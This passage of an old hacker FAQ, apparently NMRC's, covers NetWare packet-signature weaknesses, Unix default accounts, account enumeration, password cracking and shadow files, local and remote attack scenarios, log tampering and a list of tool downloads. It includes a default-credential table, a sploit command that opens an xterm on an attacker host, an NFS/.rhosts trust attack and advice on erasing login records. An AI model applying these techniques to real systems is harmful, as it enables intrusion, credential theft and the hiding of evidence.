  Let's put this into a more proper perspective. The exploit program
  would take the MAC address of an admin/supe person as a parameter,
  wait for the user to attempt to login, exploit the host, and exit. If
  the attacker didn't want to take the effort to allow the conversation
  to continue, s/he could make the exploit program re-boot the host
  automatically after broadcasting the password over the network (once
  again, encrypted and intended for the attacker).

  Obviously we don't need to exploit a large range of hosts, only the
  ones with LAN admins logging in. This would typically be a small
  subset of machines (which quite possibly normal users wouldn't have
  access to in order to prevent the use of keyboard capture routines).
  So all the attacker needs to do is exploit the host where the Admin-
  equiv logs in.

  The idea came from an already known hole in NFS for UNIX (it's
  exploited exactly the same way). But NetWare is supposed to avoid this
  hole through the use of packet signatures. It obviously didn't. The
  exploit for this hole would really not be much different than the code
  for HACK.EXE which uses the same principles.

  Of course, this hole allows anyone to execute any arbitrary program on
  any host. So the possibilities are only limited to your imagination,
  especially if you start combining the techniques from section 11. A
  virus that did the LOGIN.EXE spoof that left code to decypher the
  private key of each workstation comes leaping to mind...

  Now the MITM attack isn't required to take advantage of any part of
  this attack. It would be if the attacker couldn't predict the server's
  and the user's sequence numbers. This has the following effects:


  1. The attacker doesn't need to sniff one of the server's packets off
     the network to resynchronize the sequence numbers.

  2. The attacker doesn't need to artifically ACK the server's
     responses.

  3. The MITM attack isn't needed to modify a program on the fly. Any
     single workstation can implement the attack.


  2233..55..  IIss aannyytthhiinngg ""vvuullnneerraabbllee"" dduurriinngg aa ppaasssswwoorrdd cchhaannggee??

  Netware 3.x does not use the public key crypto stuff that Netware 4.x
  uses, so to transmit a password across the wire during a password
  change it has to be encrypted with something. The new password is
  encrypted with the previous password. However if the previous password
  is blank (i.e. new account) the "key" to encrypt with might as well be
  plaintext.


  2233..66..  IIss ""ddaattaa ddiiddddlliinngg"" ppoossssiibbllee??

  Novell's data validation scheme involves packet signature and a
  checksum. However since a checksum includes the packet signature, IN
  THEORY it is possible to use this info in combination with another
  problem to diddle data.

  The other problem involves the fact that packet signature only uses
  the first 52 bytes of the data portion, which means any data from byte
  89 and on could be altered, a new checksum generated, and the packet
  would now have a valid signature AND checksum, but altered data.

  Of course, this assumes an attacker could write code that could do
  something interesting beyond byte 89 AND generate a checksum AND
  retransmit the forged packet AND beat the real packet to its
  destination.

  Assuming checksums could be predetermined, especially if you are
  looking for a specific source and target address and type of packet,
  it could be done.




  2244..  UUnniixx AAccccoouunnttss

  The following section deals with Accounts on Unix systems.


  2244..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr UUnniixx??

  All Unix systems have an account called root. This account is also
  commonly known as the SuperUser.  Actually any account with a UID and
  GID of zero could be considered a SuperUser account. It is possible
  that a system administrator will rename the root account for
  obfuscation, but this is rather impractical as many applications not
  only require the UID zero but actually require the name of the account
  be "root" to run certain functions. As administrators do not wish to
  create more problem or have to patch more code than neccessary, this
  is a rare occurence.

  Oh, and unless you've being living under a rock, you should already
  know that root is god on Unix.

  Here are a few other accounts and passwords (if known) commonly found
  on Unix systems:


          System   Account   Password Purpose
          -------- --------- -------- -----------------------------------------
          Some     guest     (none)   Guest access
          Some     demo      (none)   Demo access
          Some     games     (none)   Play games
          Some     nuucp     (none)   UUCP access
          Some     daemon    (none)   Typically invalid for direct access
          Some     bin       (none)   Typically invalid for direct access
          Some     man       (none)   Typically invalid for direct access
          Some     lpd       (none)   Typically invalid for direct access
          Some     sys       (none)   Typically invalid for direct access
          Some     nobody    (none)   Typically invalid for direct access
          Some     ftp       (none)   Anon FTP access, use email address as password
          AIX      guest     guest    Guest access
          NeXT     root      NeXT     god (default password on shipped systems)
          NeXT     signa     signa    Guest account
          NeXT     me        (none)   Not seen on all systems
          SGI/Irix 4DGifts   (none)
          SGI/Irix lp        (none)
          SGI/Irix tour      (none)
          SGI/Irix tutor     (none)
          SGI/Irix demos     (none)




  2244..22..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr UUnniixx??

  Remotely you have a few things you can try. Here are a few
  suggestions:


     ffiinnggeerr
        By typing in finger @targethost you get get users that are
        currently logged in. This will give you a few account. Also by
        typing finger account@targethost you can determine if that
        account is valid, and possibly the last time it has been
        accessed. Unfortunately most Unix systems refuse finger requests
        from remote hosts, so this usually doesn't do you a lot of good.
        But if finger is allowed, it can return a lot of information.
        Try running finger with a -l for more verbose listings. If you
        gain local access, use finger account to get info on other
        accounts on the system. For example, if finger root returns info
        about an administrator named Fred, then finger fred, which may
        reveil Fred's regular account.


     rruusseerrss
        You can run rusers targethost which may return remote user info
        if the service is allowed.


     wwhhooiiss
        Doing a whois domain will return info about who is responsible
        for a domain, and usually included a valid account name. You can
        use this to possibly determine other account names, and odds are
        very good that the administrative contact and/or the technical
        contact have the system privileges you desire.


     mmaaiill
        Often by telnetting to the mail server and trying to verify or
        expand names you can learn account names. By typing telnet
        targethost 25 and typing in EXPN account or VRFY account will
        tell you if that account is valid. You may have to type in HELO
        or some other commands before you can do an EXPN or VRFY.

  A lot of administrators are aware of the above techniques, and will
  often treat these probes as attacks themselves.  Many sites refuse
  finger and ruser accesses, and a lot of sites have configured their
  mailer to either not respond to VRFY and EXPN or simply return nothing
  of value. Odds are good that sites that refuse these types of probes
  are usually logging these types of probes, so you may wish to probe
  from one location and attack from another.

  If you can gain access locally, such as through a guest account, there
  are a number of things you can do to view possible account names. Try
  using some of the finger techniques from above minus the targethost,
  try typing w or who or even more /etc/passwd to get account names.



  2255..  UUnniixx PPaasssswwoorrddss

  This section deals with Unix passwords.


  2255..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn UUnniixx??

  The password file for Unix is located in /etc and is a text file
  called passwd.  By default and by design this file is world readable
  by anyone on the system.  On a Unix system using NIS/yp or password
  shadowing the password data may be located elsewhere.





  2255..22..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh UUnniixx ppaasssswwoorrddss??

  Okay first off let's cover the structure of the password file.

  An entry in the password file consists of seven colon delimited
  fields:


    nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash



  This is what the fields actually are:


  nomad         - Account or user name, what you type in at the login prompt
  HrLNrZ3VS3TF2 - One way encrypted password (plus any aging info)
  501           - User number
  100           - Group number
  Simple Nomad  - GECOS information
  /home/nomad   - Home directory
  /bin/bash     - Program to run on login, usually a shell



  The password field contains, yes, a one way encrypted password. This
  means that it is practically impossible to decrypt the encrypted
  password. The password field consists of 13 characters - the first two
  characters are the "salt" and the remainder is the actual hash.

  When you log in with your account name and password, the password is
  encrypted and the resulting hash is compared to the hash stored in the
  password file.  If they are equal, the system accepts that you've
  typed in the correct password and grants you access.

  To prevent crackers from simply encrypting an entire dictionary and
  simply looking up the hash, the salt was added to the algorithm to
  create a possible 4096 different conceivable hashes for a particular
  password. This lengthens the cracking time because it becomes a little
  harder to store an encrypted dictionary online as the encrypted
  dictionary now would have to take up 4096 times the disk space. This
  does not make password cracking harder, just more time consuming.

  Unix passwords allow mixed case, numbers, and symbols. Typically the
  maximum password length on a standard Unix system is 8 characters,
  although some systems (or system enhancements) allow up to 16
  characters.


  2255..33..  HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??

  Brute force password cracking is simply trying a password of A with
  the given salt, folowing by B, C, and on and on until every possible
  character combination is tried. It is very time consuming, but given
  enough time brute force cracking WILL get the password.

  There are a few brute force crackers out there for Unix passwords. Any
  brute force cracker will do -- I personally don't believe in using
  them as there are other ways to circumvent security than trying a
  brute force crack on the root password.


  2255..44..  HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??

  Dictionary password cracking is the most popular method for cracking
  Unix passwords. The cracking program will take a word list, and one at
  a time try to crack one or all of the passwords listed in the password
  file. Some password crackers will filter and/or mutate the words as
  they try them, such as substitute numbers for certain letters, add
  prefixes or suffixes, or switch case or order of letters.

  The most popular cracking utility is probably Alex Muffet's program
  that is simply called crack. Crack can be configured by an
  administrator to periodically run and automagically mail a nastygram
  to a user with a weak password, or ran in manual mode. Crack can also
  be configured to run across multiple systems and to use user-definable
  rules for word manipulate/mutation to maximize dictionary
  effectiveness -- very flexible. However it is probably too much
  program for the novice script kiddie.

  Another popular favorite is John the Ripper, based off of the popular
  DOS-based Jack the Ripper. Jack had a number of easy-to-use features,
  and Solar Designer took Jack's interface and developed John. To make
  things even better, Solar added Crack-like rules, and made sure the
  code would run on DOS or Unix. Either one is recommended. If you're
  going to be cracking on a DOS-based machine, use John the Ripper,
  otherwise either one is fine for Unix (the jury is still out on which
  one is best for Unix, it really depends on which one you are used to
  using).


  2255..55..  HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss aanndd ppaasssswwoorrdd mmaann--
  aaggeemmeenntt??

  There are several techniques that a Sys Admin might employ to force
  users to use better passwords, and several different packages that
  could be loaded and configured onto most Unix systems to better secure
  the passwords.

  One of the first techniques is to enforce password aging. While this
  varies from system to system, basically password aging states that you
  can "expire" a password. That way you can force a user to have to
  change his password periodically.  The security advantage is that if
  the user changes their password every 30 days, that stolen password
  file is obsolete after a month (in theory, see the next question).
  This alone is not real security unless it is used in conjunction with
  other password techniques.

  Some systems allow a minimal password length to be specified, certain
  dictionary words to be disallowed, or even disallow perceived
  "crackable" passwords. This in combination with password aging can
  help ensure that a user's password is probably going to be aged and
  therefore changed before it can be cracked.

  Another very popular technique is called password "shadowing". This
  alters the password file entry slightly:


    nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash



  Note the ! token in place of the one way encrypted password. This
  means that the password is located in a different file, typically
  called the shadow file.  You will also find a * token on some shadow
  password implementations. On many Unix systems the password file is
  still located in /etc but called shadow, some systems even place the
  shadow in a different directory. Here is a chart that lists a few
  systems, the location of the shadow, and the token.



  System           Shadow                         Token
  ---------------  -----------------------------  ----------
  AIX              /etc/security/passwd           !
  BSD              /etc/master.passwd             *
  DG/UX            /etc/tcb/aa/user/              *
  HP-UX            /.secure/etc/passwd            *
  IRIX             /etc/shadow                    x
  Linux            /etc/shadow                    *
  SCO              /tcb/auth/files/[first letter  *
                         of username]/[username]
  SunOS4.1+c2      /etc/security/passwd.adjunct   ##username
  SunOS 5.x        /etc/shadow                    ##username
                   [optional NIS+ private
                         secure maps/tables]
  System V < 4.2   /etc/shadow                    x
  System V >= 4.2  /etc/security/* database       x



  Depending on the system and implementation, an encrypted password may
  still be allowed in the password field, and lack of ANYTHING in the
  field implies lack of a password for that account. Some systems (AIX
  comes to mind) allow you to configure exactly what is allowed and not
  allowed as far as how the password field is used.

  It should be noted most modern systems come with password shadowing
  already set up and configured.


  2255..66..  SSoo wwhhaatt ccaann II lleeaarrnn wwiitthh aa ppaasssswwoorrdd ffiillee ffrroomm aa hheeaavviillyy sseeccuurreedd
  ssyysstteemm??

  Okay, so you've gained access to a system and can see the password
  file, but it is shadowed. Here is an example:


    root:!:0:0:root:/root:/bin/tcsh
    bin:!:1:1:bin:/bin:
    daemon:!:2:2:daemon:/sbin:
    adm:!:3:4:adm:/var/adm:
    lp:!:4:7:lp:/var/spool/lpd:
    sync:!:5:0:sync:/sbin:/bin/sync
    shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown
    halt:!:7:0:halt:/sbin:/sbin/halt
    mail:!:8:12:mail:/var/spool/mail:
    news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
    uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
    operator:!:0:0:operator:/root:/bin/tcsh
    games:!:12:100:games:/usr/games:
    man:!:13:15:man:/usr/man:
    postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh
    httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd:
    nobody:!:65535:100:nobody:/dev/null:
    ftp:!:404:100::/home/ftp:/bin/nologin
    nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
    webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
    thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
    dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh



  Some of the more interesting things about this password file are:


  +o  User "operator" has a user number of zero, so this user is root
     equiv.
  +o  Eight accounts have interactive shells, so you have eight targets
     for direct shell access.

  +o  Multiple services, such as news, web, and possibly anonymous ftp
     are configured on the box.

  +o  User "nomad" apparently has an older account called "thegnome"
     which may not be currently in use, making it a prime target for
     attack.

  +o  User "webadmin" looks to be an account that is shared among
     multiple people.

  +o  The telephone prefix is 525 (fire up the wardialer and look for a
     modem).

  +o  Suspicious "dorkus" account. There may exist an account for Fred on
     another box (check for .rhosts, etc).



  2266..  UUnniixx LLooccaall AAttttaacckkss

  This section deals with attacking Unix from a local account or from
  the console itself.


  2266..11..  WWhhyy aattttaacckk llooccaallllyy??

  When you are trying to attack and gain root on a file server, a method
  to start with is to gain at least limited access on a system. There
  are large numbers of exploits to "bust root" but many require you have
  an account on the box. Here is an example attack scenario:


  +o  Gain access to server lame.nmrc.org via guest account (note to
     idiots: this is a non-existant example of a server).

  +o  Note that it's running an older version of Linux.

  +o  Prowl around on Bugtraq, rootshell, or some other place with
     exploit code, and find an exploit for one of the outdated or
     unpatched programs or subsystems.

  +o  Compile and run it to become root.

  +o  Brag to all your friends and on IRC so you get caught and go to
     jail (this step is optional).


  2266..22..  HHooww ddoo mmoosstt eexxppllooiittss wwoorrkk??

  There are several different attack techniques you can use from a local
  account and the handy exploit you are running. Here are a few common
  ones with extremely simple explanations:


     MMiissccoonnffiigguurraattiioonn
        If excessive permission exist on certain directories and files,
        these can lead to gaining higher levels of access. For example,
        if /dev/kmem is writable it is possible to rewrite your UID to
        match root's. Another example would be if a .rhosts file has
        read/write permissions allowing anyone to write them. Yet
        another example would be a script launched at startup, cron, or
        respawned. If this script is editable, you could add commands to
        run with the same privileges as who started them (particularly
        for startup rc files this would be as root).


     PPoooorr SSUUIIDD
        Sometimes you will find scripts (shell or Perl) that perform
        certain tasks and run as root. If the scripts are writable by
        your id, you can edit it and run it. For example I once found a
        shutdown script world writable. By adding a few lines at the
        beginning of the script it was possible to have the script
        create a root shell in /tmp.


     BBuuffffeerr OOvveerrffllooww
        Buffer overflows are typically used to spawn root shells from a
        process running as root. A buffer overflow could occur when a
        program has a buffer for user-defined data and the user-defined
        data's length is not checked before the program acts upon it.
        See the next question for more details.


     RRaaccee CCoonnddiittiioonnss
        A Race Condition is when a program creates a short opportunity
        for evil by opening a small window of vulnerability. For
        example, a program that alters a sensitive file might use a
        temporary backup copy of the file during its alteration. If the
        permissions on that temporary file allow it to be edited, it
        might be possible to alter it before the program finishes its
        editing process.


     PPoooorr TTeemmpp FFiilleess
        Many programs create temporary files while they run. If a
        program runs as root and is not careful about where it puts its
        temp files and what permissions these temp files have, it might
        be possible to use links to create root-owned files.


  2266..33..  SSoo hhooww ddooeess aa bbuuffffeerr oovveerrffllooww wwoorrkk??

  A buffer overflow works as follows:

  - Program eleetd has unchecked user input and is owned by root.
  - Hacker creates program that sends user input greater than what eleetd's buffer for the input
  will hold.
  - Hacker has made sure that this data when placed upon the stack will alter the next instruction
  the CPU will execute.
  - Hacker runs evil program and the hacker's command, /bin/sh, runs as root, dropping the hacker
  to a shell running as root.



  For example, if the buffer holds 108 bytes, the hacker creates a
  program that sends more than 108 bytes to that buffer. By carefully
  crafting the extra bytes starting at byte 109, the hacker can make the
  program execute additional commands.

  For more information on buffer overflows, check out Mudge's tutorial
  on writing them at http://www.l0pht.com/advisories/bufero.html
  <http://www.l0pht.com/advisories/bufero.html>, or read this overview
  in a paper called "Compromised - Buffer Overflows, from Intel to SPARC
  Version 8", available from http://www.l0pht.com/advisories/bufitos.pdf
  <http://www.l0pht.com/advisories/bufitos.pdf> (Acrobat version) or
  http://www.l0pht.com/advisories/buf.ps
  <http://www.l0pht.com/advisories/buf.ps> (PostScript version). Another
  fine article appeared in Phrack 49, File 14, called "Smashing The
  Stack For Fun And Profit" by Aleph One. Phrack issues can be
  downloaded from http://www.phrack.com <http://www.phrack.com>.



  2277..  UUnniixx RReemmoottee AAttttaacckkss

  This section deals with hacking Unix systems remotely.


  2277..11..  WWhhaatt aarree rreemmoottee hhaacckkss??

  A remote hack is when you attack the server you are not logged into.
  Usually this is done from another server, although in some cases you
  can do it from a regular PC (depending on the operating system).

  Guessing a user account and password (unless it is a guest account) on
  a remote system is BARELY considered a "remote hack", so we'll not
  really cover that. We'll assume you don't know an account name and
  password on the remote system.

  Remote hacks come in a couple of different flavors. Usually exploiting
  an existing service running on the victim's server (which is
  misconfigured or allows too much access) is the typical exploit.
  Exporting an NFS mount read/write to anyone might not be a bad thing,
  but if you can NFS mount directories containing .rhosts files, then it
  can be a very bad thing.  Also, certain daemons running might be
  subject to buffer overflows remotely, allowing someone from a remote
  location run arbitrary commands on the victim's server.

  Here are a couple of examples:


  - You are root on a host named badguy.
  - You discover the host victim is exporting /home2/old read/writable to the world.
  - You also discover by fingering various accounts that user fred's home directory is
  /home2/old/fred and he hasn't logged in for months.
  - Quickly, you create a fred account on badguy.
  - Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
  - After you become fred on badguy, you rlogin to victim as fred.



  Here's another attack involving a buffer overflow:


  - This remote system is running named.
  - You have written a named exploit that allows you to send arbitrary commands through
  the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
  - You type: sploit victim.nmrc.org "/usr/X11R6/bin/xterm -display badguy.whatever:0"
  - A window appears on your terminal that is running as root on victim.nmrc.org.





  2288..  UUnniixx LLooggggiinngg

  This section contains info regarding logging for Unix.


  2288..11..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn UUnniixx??

  Log files for Unix vary from flavor to flavor. But there are a few
  guidelines as to where these logs are kept.


  System log files and accounting files are in /var/adm, /var/log, or
  sometimes /usr/adm.  Common log files include messages, syslog, and on
  some systems sulog.  Checking /etc/defaults and /etc/syslog.conf may
  reveil more. Also wtmp, utmp, and lastlog will contain information
  regarding logins.

  The most important one will probably be syslog. Most utilities,
  including security add-on programs can write to syslog, so it make a
  handy location for dumping info. But bear in mind that there are a lot
  of processes that might log to separate log files. Here are some
  potential files to look for:


  File                 Purpose
  -------------------  ---------------------------------------
  /var/spool/cron/log  Cron log file
  /var/log/maillog     Logs inbound and outbound mail activity
  /var/spool/lp/log    Log file for printing



  There are more, but this should give you an idea.


  2288..22..  HHooww ddoo II eeddiitt//cchhaannggee tthhee lloogg ffiilleess ffoorr UUnniixx??

  Most of these files are text files and can be easily edited, assuming
  you have the permission to do so. But some of these files require you
  to write special tools to edit them, mainly the utmp, wtmp, and
  possibly lastlog.  A good "universal" editor (meaning it will run on
  most Unix systems) can be found at
  http://www.nmrc.org/files/unix/remove.c
  <http://www.nmrc.org/files/unix/remove.c>. It will allow you to
  selectively remove entries from these files.





  2299..  HHaacckkeerr RReessoouurrcceess

  This section contains information regarding resources for hackers.


  2299..11..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd WWWWWW llooccaattiioonnss??

  While there are dozens of WWW sites with information, here is a list
  of some that deal mainly with security, or with some of the tools
  discussed in this FAQ.

  NT: http://www.l0pht.com/l0phtcrack/
  <http://www.l0pht.com/l0phtcrack/> http://www.somarsoft.com/
  <http://www.somarsoft.com/> http://www.ntsecurity.com/
  <http://www.ntsecurity.com/> http://listserv.ntbugtraq.com/
  <http://listserv.ntbugtraq.com/> http://www.ntresearch.com/
  <http://www.ntresearch.com/> http://www.ntinternals.com/
  <http://www.ntinternals.com/> http://www.intrusion.com/
  <http://www.intrusion.com/> http://www.iss.net/ <http://www.iss.net/>
  http://samba.anu.edu.au/pub/samba/samba.html
  <http://samba.anu.edu.au/pub/samba/samba.html>
  http://home.eunet.no/~pnordahl/ntpasswd/
  <http://home.eunet.no/~pnordahl/ntpasswd/>
  http://www.dataprotect.com/ntfrag/
  <http://www.dataprotect.com/ntfrag/>


  Netware: http://www.novell.com/ <http://www.novell.com/>
  http://www.novell.de/ <http://www.novell.de/>
  http://www.salford.ac.uk/ais/Network/Novell-Faq.html
  <http://www.salford.ac.uk/ais/Network/Novell-Faq.html>
  http://mft.ucs.ed.ac.uk/ <http://mft.ucs.ed.ac.uk/>
  http://www.efs.mq.edu.au/novell/faq
  <http://www.efs.mq.edu.au/novell/faq> http://occam.sjf.novell.com:8080
  <http://occam.sjf.novell.com:8080> http://www.safe.net/safety/
  <http://www.safe.net/safety/> http://www.users.mis.net/~gregmi/
  <http://www.users.mis.net/~gregmi/>
  http://www.rad.kumc.edu/share/novell/apps/
  <http://www.rad.kumc.edu/share/novell/apps/> http://www.cis.ohio-
  state.edu/hypertext/faq/usenet/netware/security/faq.html
  <http://www.cis.ohio-
  state.edu/hypertext/faq/usenet/netware/security/faq.html>

  Packet Sniffing: http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/
  <http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/>


  2299..22..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd UUSSEENNEETT ggrroouuppss??

  Tons o' newsgroups....

  Security in general: comp.security.announce comp.security.firewalls
  comp.security.misc alt.security alt.2600

  Web stuff: comp.infosystems.www.authoring.cgi
  comp.infosystems.www.servers.misc comp.infosystems.www.servers.ms-
  windows

  NT Security: comp.os.ms-windows.nt.admin.security

  NT in general: comp.os.ms-windows.networking.misc comp.os.ms-
  windows.networking.ras comp.os.ms-windows.networking.tcp-ip
  comp.os.ms-windows.networking.win95 comp.os.ms-
  windows.networking.windows comp.os.ms-windows.nt.admin.misc
  comp.os.ms-windows.nt.admin.networking comp.os.ms-windows.nt.advocacy
  comp.os.ms-windows.nt.announce comp.os.ms-windows.nt.misc comp.os.ms-
  windows.nt.pre-release comp.os.ms-windows.nt.setup.hardware
  comp.os.ms-windows.nt.setup.misc comp.os.ms-
  windows.nt.software.backoffice comp.os.ms-
  windows.nt.software.compatibility comp.os.ms-
  windows.nt.software.services comp.os.ms-windows.programmer.networks
  comp.os.ms-windows.programmer.nt.kernel-mode

  Netware Security: comp.os.netware.security

  Netware in general: comp.os.netware.misc comp.os.netware.announce
  comp.os.netware.connectivity

  Microsoft's newsgroups: microsoft.public.windowsnt.40beta
  microsoft.public.windowsnt.apps microsoft.public.windowsnt.domain
  microsoft.public.windowsnt.dsmnfpnw microsoft.public.windowsnt.fsft
  microsoft.public.windowsnt.mac microsoft.public.windowsnt.mail
  microsoft.public.windowsnt.misc microsoft.public.windowsnt.print
  microsoft.public.windowsnt.protocol.misc
  microsoft.public.windowsnt.protocol.ras
  microsoft.public.windowsnt.protocol.tcpip
  microsoft.public.windowsnt.setup


  2299..33..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd mmaaiilliinngg lliissttss??

  The NT-security mailing list:

  To subscribe, send a message with SUBSCRIBE in the body to ntsecurity-
  [e-mail].

  NT-BugTraq:

  Like the BugTraq list, this is a full disclosure list. Send "subscribe
  ntbugtraq firstname lastname" (without the quotes) in the body of a
  message to [e-mail].


  2299..44..  WWhhaatt aarree ssoommee ootthheerr FFAAQQss??

  The NT Security FAQ -- geared toward administrators:

  http://www.it.kth.se/~rom/ntsec.html
  <http://www.it.kth.se/~rom/ntsec.html>


  2299..55..  WWhheerree aarree aallll ooff tthheessee ffiilleess mmeennttiioonneedd iinn tthhee FFAAQQ??



  Archive          What Is It       Where Is It
  ---------------- ---------------- -----------------------------------------
  c50a-nt-0.20.tgz Crack 5.0 for NT http://www.nmrc.org/files/snt/
  cifs.txt         Hobbit's NetBios http://199.103.168.8:2001/web1/hak/cifs.txt
                    Paper
  lc15src.tar.gz   L0phtcrack 1.5   \
                    for Unix         \
  lc15exe.zip      L0phtcrack 1.5     \ ftp://dot.ishboo.com/l0pht/
                    for DOS/NT        / http://www.nmrc.org/files/snt/
  lc15src.zip      L0phtcrack 1.5    /
                    DOS/NT source   /
  L0phtcrack 2.0   Main shareware   http://www.l0pht.com/l0phtcrack/
                    package
  windowsnt.tgz    Netbios Auditing ftp://ftp.secnet.com/pub/tools/
                    Tool 1.0
  ncnt090.zip      Netcat for NT    http://www.nmrc.org/files/nt/
  netmonex.tgz     NetMon Exploit   http://www.nmrc.org/files/nt/
  NTCrack.tar.gz   NT Crack 2.0     http://www.nmrc.org/files/snt/
  ntfsdos.zip      NTFS Access      http://www.nmrc.org/files/nt/
  passwd.zip       Passwd           http://wwwthep.physik.uni-mainz.de/~frink
  pwdump.exe       Password Dump    http://www.nmrc.org/files/snt
  samba-*          Samba            ftp://samba.anu.edu.au/pub/samba/
  smbfs-2.0.1.tgz  smbmount         sunsite.unc.edu/pub/Linux/filesystems/smbfs
  tpu.zip          Therion's        http://www.nmrc.org/files/msdos/
                    Password Utility